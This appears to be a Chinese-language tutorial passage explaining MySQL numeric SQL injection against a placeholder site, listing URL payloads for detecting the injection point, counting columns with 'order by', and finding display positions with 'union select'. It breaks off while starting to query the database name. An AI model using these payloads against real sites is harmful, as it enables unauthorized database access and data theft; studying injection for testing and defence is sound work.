基本介绍
在MySQL中数字型注入(Numeric Injection)是一种针对数据库查询的安全漏洞攻击,利用了对数字类型的输入验证不足或不正确处理的情况,攻击者利用这个漏洞注入恶意的数字值以绕过应用程序的输入验证并执行未经授权的查询操作或获取敏感数据,而我们所谓的数字型注入其实是指可控参数为整型整型(例如:年龄、id序列号、页码等)且存在注入漏洞,由于参数是整型,所有该类型的注入漏洞被称之为"数字型"注入
注入流程
在这里我们先假定目标环境如下:
- 目标网站:http://www.example.com/id=1
- 后台SQL语:select * from table where id=param
对该目标网站的注入流程如下:
确定注入点
- http://www.example.com/?id=1
- http://www.example.com/?id=1 and 1=1 #显示正常
- http://www.example.com/?id=1 and 1=2 #显示不正常
确定字段数
- http://www.example.com/?id=1 order by 4 #显示不正常
- http://www.example.com/?id=1 order by 3 #显示正常
确定回显位
- http://www.example.com/?id=-1 union select 1,2,3 #2,3显示
查询数据库名信息
当前数据库:
- http://www.example.com/?id=-1